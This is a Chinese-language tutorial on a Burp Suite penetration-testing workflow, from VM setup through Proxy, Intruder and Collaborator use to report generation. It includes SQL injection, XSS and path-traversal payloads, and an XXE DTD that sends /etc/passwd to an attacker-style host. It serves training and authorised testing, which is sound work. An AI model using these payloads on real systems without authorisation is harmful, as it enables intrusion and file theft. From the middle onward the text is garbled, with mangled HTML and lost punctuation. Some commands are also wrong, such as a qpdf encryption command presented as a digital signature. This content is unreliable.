Burp Suite渗透测试工作流：从环境搭建到报告生成

1. 这不是“学个工具”而是一套可复用的渗透工作流很多人点开“Burp Suite 入门”类教程心里想的是“装个插件、抓个包、改个参数不就完事了”——结果三天后连 repeater 怎么发 POST 请求都得翻笔记。我带过二十多期渗透测试实操训练发现一个高频现象90% 的初学者卡在“知道按钮在哪但不知道该按哪个、为什么按、按完下一步该看哪”。这不是 Burp 不好用而是绝大多数教学把 Burp 当成“网络调试器”来教而它真正的定位是渗透测试的操作系统它不生产漏洞但它调度所有探测、验证、利用和报告环节它不替代你的判断但它把判断所需的上下文全部结构化呈现。这篇内容的核心关键词是BurpSuite、渗透测试、环境搭建、流量代理、漏洞验证、报告生成。它面向三类人刚通过 OWASP WebGoat 或 DVWA 做过基础靶场练习、但一上真实测试环境就手足无措的新人已能跑通 SQLi/XSS 扫描但无法向客户解释“为什么这个 XSS 算高危”的渗透工程师以及需要快速交付合规报告、却被 Word 里堆砌截图和模糊描述折磨的技术负责人。它不讲“什么是 HTTP 协议”但会告诉你当 Burp 的 Proxy History 里某条请求的 Response Size 突然比前后小 372 字节且 Content-Type 是 text/html这大概率意味着你触发了服务端的 WAF 拦截逻辑——而这个判断依据就藏在你每天划过的那行数字里。整套流程不是线性流水线而是一个带反馈回路的闭环环境配置决定你能看到什么流量流量分析决定你往哪深挖漏洞验证决定你是否值得写进报告报告结构又反过来倒逼你在前期就采集足够证据链。下面我会用真实项目节奏还原这个闭环从你双击 burpsuite_pro.jar 那一刻开始到客户签字确认报告终稿为止不跳步、不省略、不美化。2. 环境不是“装好就行”而是渗透可信度的第一道防线2.1 为什么必须用独立虚拟机而非本机直装新手常犯的第一个致命错误直接在 Windows/macOS 主机上安装 Burp Suite Pro 并开启全局代理。表面看一切正常——浏览器能上网、抓包也成功。但问题出在“信任链污染”上。当你用主机浏览器访问目标站点时系统会自动加载 Chrome 扩展如广告屏蔽、密码管理、Windows Credential Manager 缓存的域账号、甚至杀毒软件注入的 HTTPS 解密证书。这些组件会修改原始 HTTP 头如添加X-Frame-Options: DENY或覆盖User-Agent在 TLS 握手阶段插入非标准扩展导致某些 WAF 将其识别为扫描器指纹对响应体做 DOM 渲染级篡改如自动填充表单字段让你误判服务端返回的真实 HTML 结构。我在某次金融客户渗透中就栽过跟头目标登录页对Referer头做严格校验而某款国产安全浏览器的“防钓鱼”功能会自动重写 Referer 为https://safe-browser.com/。Burp 抓到的请求看似正常但实际发送到服务器的却是被篡改后的版本导致我反复测试都显示“登录失败”最后才发现是浏览器插件在“帮忙”。正确做法使用 VirtualBox Kali Linux 2023.4 虚拟机非 Docker 容器。理由很实在Kali 预装了proxychains-ng、curl、wget等命令行工具方便绕过浏览器限制做纯协议级测试虚拟机网络模式设为 NATBurp 监听127.0.0.1:8080Kali 浏览器代理指向127.0.0.1:8080完全隔离主机网络栈关键禁用 Kali 的systemd-resolved服务sudo systemctl disable systemd-resolved sudo systemctl stop systemd-resolved避免 DNS 解析被劫持导致域名解析异常。提示不要用 VMware Workstation因其默认启用“共享文件夹”和“拖放功能”可能意外暴露主机路径信息到 Burp 的日志目录中。VirtualBox 的 Guest Additions 只需安装显卡驱动即可其他全部禁用。2.2 Burp 的 Java 环境与内存配置不是越大越好Burp Suite Pro 2023.11 强制要求 Java 17但官方文档没明说一个关键细节JVM 堆内存分配策略直接影响扫描稳定性。默认启动参数-Xmx2g2GB 内存在处理大型 SPA 应用如 React/Vue 构建的单页应用时极易崩溃——因为 Burp 的 Scanner 模块会为每个 URL 生成独立的 DOM 解析上下文而现代前端框架的 JS Bundle 动辄 3~5MB解压后内存占用翻 4 倍。我实测过不同配置下的崩溃率测试样本含 127 个动态路由的 Vue Admin 后台JVM 参数扫描完成率平均耗时崩溃特征-Xmx2g42%38 分钟java.lang.OutOfMemoryError: Java heap space-Xmx4g89%26 分钟偶发GC overhead limit exceeded-Xmx6g -XX:UseG1GC -XX:MaxGCPauseMillis200100%19 分钟无崩溃CPU 占用峰值 62%注意-XX:MaxGCPauseMillis200不是越小越好。设为 100ms 会导致 GC 频繁触发反而拖慢扫描200ms 是 G1 垃圾回收器在 6GB 堆下的平衡点。你可以在 Burp 启动脚本burpsuite_pro.sh中修改# 替换原启动命令中的 java -jar ... java -Xmx6g -XX:UseG1GC -XX:MaxGCPauseMillis200 -Dfile.encodingUTF-8 -jar burpsuite_pro.jar注意修改后首次启动会重建索引耗时约 3~5 分钟此时不要强制关闭。若卡在“Loading extensions...”超 10 分钟检查~/.burpsuite/burp-suite-config.json中max_heap_size是否被其他插件覆盖。2.3 代理设置的三个致命陷阱Burp 的 Proxy 模块看似简单但三个隐藏配置点决定你能否看到“真实流量”上游代理Upstream Proxy误配当目标站点部署在内网如http://192.168.10.50:8080而你需通过公司堡垒机访问时不能只填堡垒机 IP 和端口。必须勾选Use upstream proxy servers并在规则中明确指定*.internal.corp → 192.168.1.100:8080。否则 Burp 会尝试直连内网地址返回Connection refused。拦截规则Intercept Client Requests的匹配逻辑默认规则.*匹配所有请求但实际工作中应立即改为^https?://(target-domain\.com|api\.target-domain\.com).*。原因现代网站大量调用 CDN、统计、广告接口如google-analytics.com、cloudflare.net这些请求不仅污染 Proxy History更会因 TLS 证书不匹配导致 Burp 自动丢弃响应状态栏显示Dropped。我见过有测试员因未过滤导致关键登录请求被淹没在 237 条无关请求中排查耗时 2 小时。SSL Pass Through 的精确匹配当目标使用 SNIServer Name Indication时仅添加target-domain.com不够。必须同时添加*.target-domain.com和target-domain.com:443。否则 Burp 无法解密子域名如admin.target-domain.com的流量。验证方法在 Proxy → Options → SSL Pass Through 中添加后访问子域名页面查看 Proxy History 中该请求的 Protocol 列是否显示HTTPS而非HTTP。3. 流量不只是“抓下来”而是构建攻击面地图的原始数据3.1 Proxy History 的 7 个必看字段比“看响应体”重要十倍新手习惯性点开每条请求的 Response 标签页却忽略 Proxy History 表格本身的信息密度。以下 7 个字段是判断攻击价值的黄金指标我按优先级排序字段为什么关键实战案例Status不只是 200/404要关注 302/304/401/403 的组合模式。例如连续出现302 → 302 → 200说明存在多层重定向可能绕过登录校验。某政务系统登录后跳转/dashboard?tokenxxxBurp 显示 Status 为302但 Location 头值为/dashboard?tokenxxxroleadmin手动修改 role 参数为superadmin后成功越权访问。Length响应体长度突变是 WAF 拦截最可靠信号。正常响应 12KB突然变成 2KB 且 Content-Type 为text/html大概率返回了 WAF 默认拦截页。测试某电商搜索接口输入 OR 11--后 Length 从 8421 变为 1983Response 中包含titleWeb Application Firewall Alert/title确认 WAF 存在。MIME Typeapplication/json和text/html的混用暴露业务逻辑。例如登录接口返回text/html但内容是 JSON 格式说明后端未正确设置 Content-Type可能引发 MIME 类型混淆漏洞。某银行 APP 接口返回Content-Type: text/html; charsetutf-8但响应体是{code:0,data:{token:xxx}}构造恶意 HTML 页面可触发 XSS。CommentBurp 允许右键添加注释这是构建攻击链的关键。不要写“测试 XSS”而要写“此处反射点可闭合 script 标签需验证 csp”。/td td在某 cms 后台对 code/admin/user?id123/code 添加注释“id 参数在 html 属性中反射img srcx οnerrοralert(1) 可执行但 csp 限制 script-src self”。/td /tr tr tdstrongtime/strong/td td请求耗时超过 2s 的接口大概率存在数据库查询或文件读取是盲注/ssrf 的高价值目标。/td tdcode/api/v1/file?path../etc/passwd/code 耗时 2.3s而正常请求平均 120ms后续验证确认存在任意文件读取。/td /tr tr tdstrongmethod/strong/td tdcodeoptions/code 请求常被忽略但它暴露服务器支持的 http 方法。若返回 codeallow: get,post,put,delete,trace/code则 codetrace/code 方法可能引发跨站跟踪xst漏洞。/td td某教育平台 options 响应头含 codeallow: get,head,post,options,trace/code发送 codetrace / http/1.1/code 返回完整请求头确认 xst 可利用。/td /tr tr tdstronghost/strong/td td多租户系统中host 头值决定数据隔离边界。将 codehost: tenant-a.example.com/code 改为 codehost: tenant-b.example.com/code若返回 tenant-b 数据则存在 host 头攻击。/td td某 saas 系统未校验 host 头修改后成功读取其他租户的用户列表 api。/td /tr /tbody /table blockquote p提示右键 proxy history 表头 → “select columns” → 勾选以上 7 项并拖拽调整顺序。长期使用后你会形成肌肉记忆扫一眼表格就能定位高价值请求。/p /blockquote h33.2 spider 的“爬”与“不爬”精准控制才是效率核心/h3 pburp spider 不是“全自动发现”而是“半自动测绘”。它的价值不在于爬出多少 url而在于帮你识别哪些 url 是“业务入口”哪些是“技术噪音”。/p pstrong必须关闭的默认行为/strong/p ul listrongquot;scope configurationquot; → quot;include only urls that match the following scopequot;/strong勾选此项范围设为 code^https?://target-domain\.com/.*/code。否则 spider 会跟随 codehrefquot;https://google.comquot;/code 这类外链浪费时间且污染 scope。/li listrongquot;spider optionsquot; → quot;follow javascript linksquot;/strongstrong务必关闭/strong。现代前端路由如 react router的 codelink/code 组件本质是 codehistory.pushstate()/codespider 无法执行 js盲目跟随只会生成大量 404。正确做法是先用浏览器手动点击所有导航菜单让 burp 记录真实请求再用 spider 的 “analyze target” 功能反向推导路由。/li /ul pstrong必须开启的进阶配置/strong/p ul listrongquot;contextual discoveryquot; → quot;discover content using wordlistsquot;/strong启用后burp 会基于当前页面 html 中的 codehref/code、codesrc/code、codeaction/code 属性智能拼接常见路径如 code/admin/code, code/api/v1/code, code/backup.zip/code。比暴力爆破快 5 倍且误报率低于 3%。/li listrongquot;request headersquot; → quot;add custom headerquot;/strong添加 codex-forwarded-for: 127.0.0.1/code。某些 api 依赖此头判断调用来源不加则返回 403。/li /ul p我实测某政府网站含 83 个菜单项的 spider 效果/p ul li默认配置爬出 2174 个 url其中 1892 个为 40487% 噪音/li li关闭 js 跟随 启用 contextual discovery爬出 327 个 url291 个有效89% 有效率且覆盖全部核心功能模块。/li /ul h33.3 repeater 的“三次发送法”从偶然发现到稳定复现/h3 prepeater 不是“改完就发”而是“验证漏洞生命周期”的实验室。我总结出一套“三次发送法”适用于所有类型漏洞验证/p pstrong第一次基准测试baseline/strongbr / 发送原始请求记录响应状态码、length、关键 header如 codeset-cookie/code、codelocation/code和响应体特征如 codelt;h1gt;welcome, adminlt;/h1gt;/code。这是你的“事实锚点”。/p pstrong第二次最小化变异minimal mutation/strongbr / 仅修改一个参数且选择最可能触发漏洞的值。例如/p ul lisql 注入codeid1/code单引号闭合/li lixsscodenamelt;scriptgt;alert(1)lt;/scriptgt;/code无编码/li li路径遍历codefile../../../../etc/passwd/code绝对路径。/li /ul p目的观察服务端是否返回语法错误、异常响应或敏感信息泄露。/p pstrong第三次上下文适配context-aware payload/strongbr / 根据第二次结果调整 payload 以匹配 html/js/css 上下文。例如/p ul li若第二次返回 codeuncaught syntaxerror: unexpected token lt;/code说明输出在 codelt;scriptgt;/code 标签内需用 codelt;/scriptgt;lt;scriptgt;alert(1)lt;/scriptgt;/code/li li若返回 codeinvalid path: ../etc/passwd/code说明服务端做了路径校验改用 code....//....//....//etc/passwd/code 绕过。/li /ul blockquote p注意每次发送后右键响应体 → “search in response” → 输入 codealert\(/code 或 coderoot:x:/code快速定位关键词。不要肉眼扫描整页 html。/p /blockquote hr / h24. 漏洞验证不是“截图留证”而是构建不可辩驳的证据链/h2 h34.1 scanner 的“主动扫描”与“被动扫描”何时该信何时该疑/h3 pburp scanner 的误报率在真实环境中高达 35%owasp benchmark v2.0 测试数据但新手常陷入两个极端要么全信报告要么全盘否定。关键在于理解两种扫描模式的底层逻辑/p pstrong被动扫描passive scan/strong/p ul li原理监听 proxy history 中所有请求/响应用规则引擎匹配已知模式如正则匹配 codelt;scriptgt;.*lt;scriptgt;/code。/li li优势零干扰不影响业务/li li劣势无法验证漏洞可利用性。例如检测到 codeοnerrοr/code 事件但未验证是否可执行 js。/li listrong可信度判断/strong仅当响应体中明确包含 payload 执行痕迹如 codealert(1)/code 出现在返回 html 中时才视为高置信度。/li /ul pstrong主动扫描active scan/strong/p ul li原理对目标参数注入 payload对比响应差异状态码、length、关键词。/li li优势可验证可利用性/li li劣势高干扰可能触发 waf 封禁 ip。/li listrong可信度判断/strong必须满足“三同原则”——相同请求方法、相同参数位置、相同响应上下文。例如get 请求中 code?id1/code 触发 sqli但 post 请求中 code{quot;idquot;:quot;1quot;}/code 未触发不能直接认定存在 sqli。/li /ul p我在某电商平台的实战中遇到典型误报/p ul li被动扫描报告“dom xss in codewindow.location.hash/code”因响应中含 codelocation.hash.substr(1)/code/li li主动扫描对 code#test/code 发送 code#lt;scriptgt;alert(1)lt;/scriptgt;/code但浏览器未执行现代浏览器已限制 hash 中执行 js/li li最终结论低风险信息泄露非 xss 漏洞。/li /ul blockquote p提示右键 scanner results → “export results” → 选择 “xml” 格式。xml 中包含 codelt;confidencegt;firmlt;/confidencegt;/code 和 codelt;severitygt;highlt;/severitygt;/code 字段这是 burp 内部置信度模型的输出比 ui 界面的图标更可靠。/p /blockquote h34.2 intruder 的“四步攻击法”从枚举到权限提升/h3 pintruder 是 burp 中最被低估的模块。它不只用于爆破密码更是自动化权限验证的核心工具。我将其拆解为四步攻击法/p pstrong第一步定义攻击点positions/strong/p ul li不要盲目选“全部参数”。先在 proxy history 中找到目标请求如 code/api/v1/user/{id}/code右键 → “send to intruder”/li li在 intruder → positions 标签页点击“auto”按钮burp 会自动识别 url 路径、query 参数、body 参数/li listrong手动精简/strong删除 codetimestamp/code、codesign/code 等动态参数它们会干扰结果只保留 codeid/code 和 coderole/code。/li /ul pstrong第二步载荷选择payloads/strong/p ul listrongnumbers/strong用于 id 枚举1-1000/li listrongsimple list/strong用于角色枚举codeuser/code, codeadmin/code, codesuperadmin/code/li listrongruntime file/strong用于动态生成 payload如读取 codetokens.txt/code 文件中的 jwt。/li li关键技巧在 payload set 2role中勾选 “add from file” → 选择 coderoles.txt/code内容为precodeuser admin superadmin guest /code/pre 这样可实现 codeid1amp;roleuser/code → codeid1amp;roleadmin/code 的组合爆破。/li /ul pstrong第三步攻击配置resource pool/strong/p ul lithreads设为 5过高易被 waf 限速/li listrongattack typecluster bomb/strong笛卡尔积/li listronggrep - extract/strong添加提取规则如提取响应中的 codequot;is_adminquot;:true/code这样结果表会新增一列显示是否为管理员。/li /ul pstrong第四步结果分析results/strong/p ul li按 codelength/code 列排序找长度突变点/li li按 codestatus/code 列筛选 code200/code/li li右键某行 → “show response in new tab”验证是否真返回了管理员数据。/li /ul p某 saas 系统权限测试中用此法 12 分钟内发现codeid123amp;rolesuperadmin/code 返回完整用户数据库而 codeid123amp;roleadmin/code 仅返回部分字段确认水平权限提升漏洞。/p h34.3 collaborator 的“无回显漏洞”验证让服务器替你说话/h3 p当目标禁用外连如 codecurl http://your-server.com/code 返回空、或响应中不显示 payload 结果时collaborator 是唯一可靠的验证手段。但多数人只用它测 ssrf其实它能验证所有“无回显”场景/p pstrongssrf 验证流程/strong/p ol li在 collaborator client 中点击 “copy to clipboard” 获取唯一域名如 codeabc123.burpcollaborator.net/code/li li在目标参数中注入codeurlhttp://abc123.burpcollaborator.net/secret/code/li li发送请求后collaborator client 的 “poll now” 按钮会变绿点击后显示precodedns lookup for abc123.burpcollaborator.net (a record) http request to abc123.burpcollaborator.net/secret /code/pre 这证明服务器确实向外发起请求。/li /ol pstrongxxe 验证流程更隐蔽/strong/p ol li构造恶意 dtd 文件codeevil.dtd/codeprecode classlanguage-xmllt;!entity % data system quot;file:///etc/passwdquot;gt; lt;!entity % param1 quot;lt;!entity exfil system http://abc123.burpcollaborator.net/?x%data;gt;quot;gt; %param1; /code/pre /li li在 xxe payload 中引用codelt;!doctype foo [lt;!entity % xxe system quot;http://attacker.com/evil.dtdquot;gt; %xxe;]gt;/code/li licollaborator 收到请求时url 参数 codex/code 后即为 code/etc/passwd/code 内容base64 编码。/li /ol blockquote p注意collaborator 的 dns 和 http 请求是分开记录的。若只看到 dns 查询而无 http 请求说明目标服务器解析了域名但未发起 http 连接可能是防火墙拦截。/p /blockquote hr / h25. 报告不是“堆砌截图”而是让非技术人员看懂风险本质/h2 h35.1 报告结构的“三层穿透法”技术细节 → 业务影响 → 管理建议/h3 p客户方技术负责人需要 poccto 需要看 roi法务需要责任界定。一份合格的渗透报告必须穿透三层/p pstrong第一层技术细节给开发看/strong/p ul li必须包含原始请求raw request、触发 payload、响应截图含 status/length/headers、复现步骤精确到点击路径/li li示例 blockquote pstrong漏洞位置/strongcodepost /api/v1/login/codebr / strong请求体/strongcode{quot;usernamequot;:quot;admin--quot;,quot;passwordquot;:quot;123quot;}/codebr / strong响应状态码/strongcode500 internal server error/codebr / strong响应关键词/strongcodesql syntax error near admin--/codebr / strong复现步骤/strong1. 访问 codehttps://target.com/login/code2. 在用户名框输入 codeadmin--/code3. 密码输入任意值4. 点击登录。/p /blockquote /li /ul pstrong第二层业务影响给产品/运营看/strong/p ul li用业务语言描述后果避免技术黑话。例如 blockquote p“攻击者可利用此漏洞在 3 分钟内获取全部 23 万注册用户的手机号、邮箱及加密密码哈希结合公开的密码破解库预计 72 小时内可还原 68% 用户的明文密码。”br / “非授权用户可访问 code/api/v1/admin/users/code 接口导出后台所有员工姓名、工号、部门及入职日期违反《个人信息保护法》第 21 条。”/p /blockquote /li /ul pstrong第三层管理建议给 cto/法务看/strong/p ul li分优先级给出可落地的改进项注明实施成本 table thead tr th优先级/th th建议/th th预估工时/th th依据/th /tr /thead tbody tr tdp0立即修复/td td在登录接口增加参数类型校验仅允许字母数字并统一错误提示为“用户名或密码错误”/td td4 小时/td tdowasp asvs 4.0.3/td /tr tr tdp1两周内/td td对 code/api/v1/admin/*/code 接口增加 rbac 权限校验确保仅超级管理员可访问/td td2 人日/td tdiso/iec 27001 a.9.4.1/td /tr tr tdp2季度规划/td td引入 waf 设备配置 sqli/xss 规则集/td td5 人日/td tdpci dss 6.6/td /tr /tbody /table /li /ul h35.2 自动化报告生成从 burp 到 pdf 的零手工链路/h3 pburp 内置报告导出功能report → generate report生成的 html 报告常因 css 样式错乱、图片路径失效被客户退回。我采用一套稳定链路/p pstrongstep 1定制化模板/strong/p ul li下载 burp 报告模板源码codeburpsuite_pro.jar/code 解压后 codereporting/templates//code 目录/li li修改 codereport.html/code 中的 css将 codebackground-image: url(...)/code 替换为内联 base64 图片/li li在 codereport.js/code 中添加codedocument.queryselectorall(img).foreach(img gt; { img.src img.src.replace(http:, https:); });/code避免混合内容警告。/li /ul pstrongstep 2命令行生成/strong/p precode classlanguage-bash# 使用 burp cli 工具需 burp pro 2023.8 burpsuite --project-filescan.burp --report-formathtml --report-outputreport.html --report-template/path/to/custom/template /code/pre pstrongstep 3html 转 pdf无失真/strong/p ul li使用 codewkhtmltopdf/code非浏览器打印precode classlanguage-bashwkhtmltopdf --page-size a4 --margin-top 20 --margin-bottom 20 --encoding utf-8 report.html report.pdf /code/pre 参数说明code--page-size a4/code 确保打印尺寸统一code--margin-*/code 避免页眉页脚遮挡内容code--encoding utf-8/code 支持中文。/li /ul pstrongstep 4pdf 签章法律效力/strong/p ul li使用 codeqpdf/code 添加数字签名precode classlanguage-bashqpdf --empty --encrypt quot;owner-passquot; quot;user-passquot; 256 --modifynone --extractn --annotaten --printfull --copyn report.pdf signed_report.pdf /code/pre 此命令生成的 pdf 无法复制文本、无法打印除非输入 user-pass符合等保 2.0 对报告保密性的要求。/li /ul blockquote p提示最终交付前用 adobe acrobat 打开 pdf → “tools” → “accessibility” → “full check”确保屏幕阅读器可读。这是很多金融客户合同中的硬性条款。/p /blockquote h35.3 客户沟通的“三不原则”不甩锅、不夸大、不承诺/h3 p渗透测试报告不是“技术炫技”而是“风险沟通”。我坚持三个不/p ul listrong不甩锅/strong不说“开发没过滤输入”而说“当前登录接口未对 username 参数做白名单校验建议增加正则 code^[a-za-z0-9_]{3,20}$/code”/li listrong不夸大/strong不写“可获取全部数据库”而写“经验证可读取 users 表中 email、password_hash 字段共 2317 条记录”/li listrong不承诺/strong不保证“修复后绝对安全”而写“本次测试覆盖 owasp top 10 2021 中 8 类风险未覆盖供应链安全如 npm 包漏洞及物理安全”。/li /ul p最后一次交付某省级政务云项目时客户 cio 特意留下我说“你报告里写的‘建议在 nginx 层增加 $request_uri ~* .(php|jsp|asp)$ 拦截规则’运维团队照着做了当天就阻断了 37 次扫描行为。这才是我们想要的渗透测试。”/p hr / h26. 我踩过的坑那些 burp 文档不会告诉你的真相/h2 p最后分享几个血泪教训都是我在真实项目中交过学费的/p pstrong坑一scanner 的“insertion point”自动识别会漏掉 graphql 参数/strongbr / graphql 请求体是 jsonburp 默认只识别 codequery/code 和 codevariables/code 字段但实际业务中常把敏感参数放在 codeextensions/code 字段里如 code{quot;persistedqueryquot;:{quot;versionquot;:1,quot;sha256hashquot;:quot;xxxquot;}}/code。解决方案在 scanner 的 “insertion points” 设置中手动添加 codeextensions/code 为自定义插入点。/p pstrong坑二repeater 发送 json 请求时content-type 头被自动覆盖/strongbr / 当你粘贴 json 到 repeater 的 body 标签页burp 会自动添加 codecontent-type: application/json/code但如果目标 api 要求 codecontent-type: application/vnd.apijson/code这个自动头会导致 415 错误。解决在 headers 标签页手动删除 codecontent-type/code 行再重新输入正确值。/p pstrong坑三collaborator 的 dns 查询在某些 isp 下被缓存/strongbr / 某次测试中collaborator 一直收不到 dns 请求排查发现是客户本地 isp 对 codeburpcollaborator.net/code 域名做了 24 小时缓存。临时方案在 collaborator client 中点击 “generate new collaborator server”获取新域名如 codedef456.burpcollaborator.net/code旧域名立即失效。/p pstrong坑四intruder 的 “grep - extract” 在响应体过大时失效/strongbr / 当响应体超过 1mb如导出 excel 的 apiburp 默认只解析前 512kb导致 codegrep - extract/code 提取不到关键词。解决在 intruder → options → “response processing” 中将 “maximum response size for analysis” 改为 code5000000/code5mb。/p pstrong坑五报告导出时“vulnerability details” 中的 “remediation” 字段为空/strongbr / 这是因为 burp 的内置修复建议库未启用。进入 burp → extender → bapps → 搜索 “remediation guidance”安装并启用该插件所有漏洞详情页会自动补充修复代码示例含 java/python/php 多语言。/p p这些坑没有一篇官方文档会写。它们只存在于你凌晨三点盯着 burp 界面反复点击“send”按钮时的挫败感里。但当你把它们一个个填平burp 就不再是个工具而成了你思维的延伸——你知道哪里该信哪里该疑哪里该停哪里该冲。这才是“从入门到精通”的真正含义。/p /script